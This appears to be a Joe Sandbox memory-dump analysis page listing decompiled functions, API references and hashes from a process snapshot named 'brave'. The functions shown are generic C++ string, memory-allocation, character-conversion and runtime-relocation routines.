Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction ID: cd806e42d0b70ff4b20b553d90a8354145a9095731ac255033021490349dcb02
Opcode Fuzzy Hash: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction Fuzzy Hash: B941BFAAB18AB580DA10EB69D5484BDA360FB85FC8BCC4132EE1D4B391EF3CE541C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EABCF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF755EABD55
memcpy.MSVCRT ref: 00007FF755EABE27

Strings

basic_string::append, xrefs: 00007FF755EABDB2, 00007FF755EABE7C
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EABDB9

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction ID: 695caae46e9fca9d74c3db4b205a28f92f4b998b40c4a6a24cd3c8fc984d13ab
Opcode Fuzzy Hash: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction Fuzzy Hash: AA4103B7B096A981DE10EB29D94C579A368EB55FD8FCC8132DE5D4B392DE2CD041C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA7CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EA7CE0(intOrPtr* __r8, void* __r9, intOrPtr _a40) {
				void* _t8;
				void* _t22;
				intOrPtr* _t25;
				char* _t27;
				int _t28;
				int _t30;
				intOrPtr _t40;
				void* _t47;
				intOrPtr _t49;

				_t40 =  *((intOrPtr*)( *__r8 - 0x18));
				_t47 =  >  ? _a40 : _t40 - __r9;
				if (__r9 - _t40 > 0) goto 0x55ea7d12;
				goto 0x55ea7b40;
				_t27 = "basic_string::insert";
				_t25 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
				E00007FF77FF755EB1250(_t8, __r9 - _t40, __r9, _t25, _t27, __r9,  *__r8 + __r9);
				_t49 =  *((intOrPtr*)( *_t25 - 0x18));
				if (_t27 - _t49 > 0) goto 0x55ea7db0;
				if (__r9 - 0xfffffff9 - _t49 > 0) goto 0x55ea7dc6;
				r8d = 0;
				E00007FF77FF755EA8580(_t25, _t27, __r9, __r9);
				if (__r9 == 0) goto 0x55ea7d8c;
				if (__r9 == 1) goto 0x55ea7da0;
				return memset(_t22, _t30, _t28);
			}

0x7ff755ea7cec
0x7ff755ea7cfc
0x7ff755ea7d03
0x7ff755ea7d0d
0x7ff755ea7d15
0x7ff755ea7d1f
0x7ff755ea7d26
0x7ff755ea7d3f
0x7ff755ea7d4f
0x7ff755ea7d61
0x7ff755ea7d66
0x7ff755ea7d69
0x7ff755ea7d71
0x7ff755ea7d7e
0x7ff755ea7d98

APIs

memset.MSVCRT ref: 00007FF755EA7D87

Strings

basic_string::_M_replace_aux, xrefs: 00007FF755EA7DC6
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA7D1F, 00007FF755EA7DB3
basic_string::insert, xrefs: 00007FF755EA7D15, 00007FF755EA7DBA

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 2221118986-1339558951
Opcode ID: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction ID: f060afcd1a4703023abbbe5241744f53163dc364af426366ed08540366aa08c3
Opcode Fuzzy Hash: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction Fuzzy Hash: 9731086AF056A541EA14EB26ED444F9A351AB89FE8FCC4531DF1C07391ED3CE981C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB0C80 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF755EB0C92
memcpy.MSVCRT ref: 00007FF755EB0CE4
memcpy.MSVCRT ref: 00007FF755EB0D94

Strings

basic_string::append, xrefs: 00007FF755EB0D3A

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction ID: 1f2fb71bb626a0565e9cb93d500fecc1c5c1cc09c00402688109b1ca3453e1d0
Opcode Fuzzy Hash: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction Fuzzy Hash: 4C316BAA719A6581DA11AB25D5085BDA361FB85FD9BCC8632DE1D4B3D0DF38F841C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB18C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,FFFFFFFF,00007FF755EA7139,?,?,FFFFFFFF,00007FF755EA6BB5,?,00000000,basic_string::_M_create,00007FF755EAA151), ref: 00007FF755EB18D4

Part of subcall function 00007FF755EB19A0: malloc.MSVCRT(?,?,?,?,00007FF755EB23B5,?,?,?,?,00007FF755E83C24), ref: 00007FF755EB19B1

malloc.MSVCRT(?,?,?,?,?,?,?,00007FF755EA7139,?,?,FFFFFFFF,00007FF755EA6BB5,?,00000000,basic_string::_M_create,00007FF755EAA151), ref: 00007FF755EB193A

Strings

basic_string::_M_create, xrefs: 00007FF755EB19A0

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID: basic_string::_M_create
API String ID: 2803490479-3122258987
Opcode ID: 4b7b9b0c657b2bedbbe5b7b4e114ee3aa089cd27d8a34a41591c0c705e869eea
Instruction ID: ac5000d2c16db9b9f861affcfa247dc607b4647ce58ea1c7eeb99d122c06c086
Opcode Fuzzy Hash: 4b7b9b0c657b2bedbbe5b7b4e114ee3aa089cd27d8a34a41591c0c705e869eea
Instruction Fuzzy Hash: 81219129B1679541EE58B764EA113B86290AF48BB8FDC4734CE6D4A3C2DF3CA585C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EADC10 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 102stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF755EADC22
memcpy.MSVCRT ref: 00007FF755EADC72
memcpy.MSVCRT ref: 00007FF755EADD21

Strings

basic_string::append, xrefs: 00007FF755EADCCD

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction ID: 1a219b2bf13d6988ac39501f515c30b5f96e4acacb2b87b4386558b1eb1ca3df
Opcode Fuzzy Hash: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction Fuzzy Hash: 7631C5EB7096A580EA10EB25D64C579B364EB86FD8FCD4532EE6D4B381DE2CD540C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA8580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF755EA8580(long long* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _v73;
				void* _t16;
				intOrPtr _t23;
				intOrPtr _t24;
				long long* _t25;
				long long _t37;
				intOrPtr _t38;
				long long _t45;

				_t23 =  *((intOrPtr*)(__rcx));
				_t38 =  *((intOrPtr*)(_t23 - 0x18));
				_t25 = __rcx;
				_t37 = __r9 - __r8 + _t38;
				if (_t37 -  *((intOrPtr*)(_t23 - 0x10)) > 0) goto 0x55ea85cb;
				if ( *((intOrPtr*)(_t23 - 8)) <= 0) goto 0x55ea8660;
				_t24 =  *((intOrPtr*)(__rcx));
				E00007FF77FF755EA70D0(_t16, _t37,  *((intOrPtr*)(_t24 - 0x10)));
				if (__rdx == 0) goto 0x55ea8600;
				_t8 = _t24 + 0x18; // 0x18
				_t45 = _t8;
				if (__rdx == 1) goto 0x55ea86a0;
				memcpy(??, ??, ??);
				if (_t38 - __r8 + __rdx != 0) goto 0x55ea8640;
				asm("lock xadd [ecx-0x8], eax");
				if (0xffffffff <= 0) goto 0x55ea8690;
				 *_t25 = _t45;
				 *((intOrPtr*)(_t45 - 8)) = 0;
				 *((long long*)(_t45 - 0x18)) = _t37;
				 *((char*)(_t45 + _t37)) = 0;
				return 0xffffffff;
			}

0x7ff755ea8590
0x7ff755ea8593
0x7ff755ea85a8
0x7ff755ea85ae
0x7ff755ea85b7
0x7ff755ea85be
0x7ff755ea85c4
0x7ff755ea85d3
0x7ff755ea85e2
0x7ff755ea85e7
0x7ff755ea85e7
0x7ff755ea85ef
0x7ff755ea85fb
0x7ff755ea8603
0x7ff755ea860d
0x7ff755ea8614
0x7ff755ea8616
0x7ff755ea8619
0x7ff755ea8622
0x7ff755ea8627
0x7ff755ea863c

APIs

memcpy.MSVCRT ref: 00007FF755EA85FB
memcpy.MSVCRT ref: 00007FF755EA8681

Strings

basic_string::_M_create, xrefs: 00007FF755EA8586

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction ID: 1acf00df30b4aa6e646153c5b7928a8202cd4b29a74202762d97199fb41b75c0
Opcode Fuzzy Hash: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction Fuzzy Hash: E431926AB0D9A299E611BE39D60C67DA7606BD1F8CFDD4032DE1C4B392DE28D441C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA7770 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF755EA7770(long long* __rcx, void* __rdx, void* __r8) {
				intOrPtr _t15;
				void* _t18;

				_t15 =  *((intOrPtr*)(__rcx));
				_t18 = __r8;
				if (__r8 - 0xfffffff9 > 0) goto 0x55ea7885;
				if (_t15 - __rdx > 0) goto 0x55ea77c0;
				if (_t15 +  *((intOrPtr*)(_t15 - 0x18)) - __rdx < 0) goto 0x55ea77c0;
				if ( *((intOrPtr*)(_t15 - 8)) <= 0) goto 0x55ea77f8;
				E00007FF77FF755EA8580(__rcx, _t15 +  *((intOrPtr*)(_t15 - 0x18)),  *((intOrPtr*)( *((intOrPtr*)(__rcx)) - 0x18)), __r8);
				if (_t18 == 0) goto 0x55ea77e7;
				if (_t18 == 1) goto 0x55ea7840;
				return memcpy(??, ??, ??);
			}

0x7ff755ea7779
0x7ff755ea777f
0x7ff755ea7796
0x7ff755ea779f
0x7ff755ea77a8
0x7ff755ea77af
0x7ff755ea77c8
0x7ff755ea77d0
0x7ff755ea77da
0x7ff755ea77f3

APIs

memcpy.MSVCRT ref: 00007FF755EA77E2
memcpy.MSVCRT ref: 00007FF755EA781C

Strings

basic_string::assign, xrefs: 00007FF755EA7885

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::assign
API String ID: 3510742995-2385367300
Opcode ID: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction ID: 0b2cff5c5cd08104dc6defa0050a557d6279bdfc7e9575a5629c5d119a43a79d
Opcode Fuzzy Hash: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction Fuzzy Hash: D731C26AB096A584EE11EA26C60C1B9A791AB4AFDDFCC4572DE1D4F391DE2CE440C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA17C0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF755EA181A
MultiByteToWideChar.KERNEL32 ref: 00007FF755EA185A

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction ID: 3edf61a44150de3cfbefad6c5cfbc2cd30b01166b0993d00a3e93a28848b6401
Opcode Fuzzy Hash: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction Fuzzy Hash: C031B376A0C39186E3645B34FD0436DA690BB91B98FD88235DA988B7D4DF3DD584CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E93E60 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF755E93E7D
GetProcessAffinityMask.KERNEL32 ref: 00007FF755E93E8C
GetCurrentProcess.KERNEL32 ref: 00007FF755E93ED2
SetProcessAffinityMask.KERNEL32 ref: 00007FF755E93EDA

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction ID: 9923ddf4aaaf552e4e4cfe0115b7eeee844137f54532bcf7e7e024033c5608b5
Opcode Fuzzy Hash: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction Fuzzy Hash: E901D425B0871642EE2167267A0037B96A0BB08F9CFC8203ACE4D4B390EE7CED45C210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E830 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8E830(void* __eax) {
				intOrPtr _t4;

				_t4 =  *0x561410f0; // 0x1
				if (_t4 == 0) goto 0x55e8e860;
				return __eax;
			}

0x7ff755e8e845
0x7ff755e8e84d
0x7ff755e8e85f

APIs

VirtualProtect.KERNEL32(00007FF756141098,00007FFC2FC93CA0,?,?,?,00000001,00007FF755E81261), ref: 00007FF755E8E9D5

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF755E8EA95
Unknown pseudo relocation protocol version %d., xrefs: 00007FF755E8EAA1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction ID: d293721bf27042ca73c51f8b898b3300aea93ab64f12e6817a2c8941a35802a6
Opcode Fuzzy Hash: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction Fuzzy Hash: 8B61D53AF086A286FE10AF11E94117AF761BB56F98F8C8175DE6D0B394DE3CE441C220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E91110 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF755E91110(void* __rcx) {
				void* _t29;
				intOrPtr _t39;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				void* _t68;
				void* _t76;
				intOrPtr* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				void* _t89;

				if (__rcx == 0) goto 0x55e91310;
				_t80 =  *0x56136920; // 0x7ff756141400
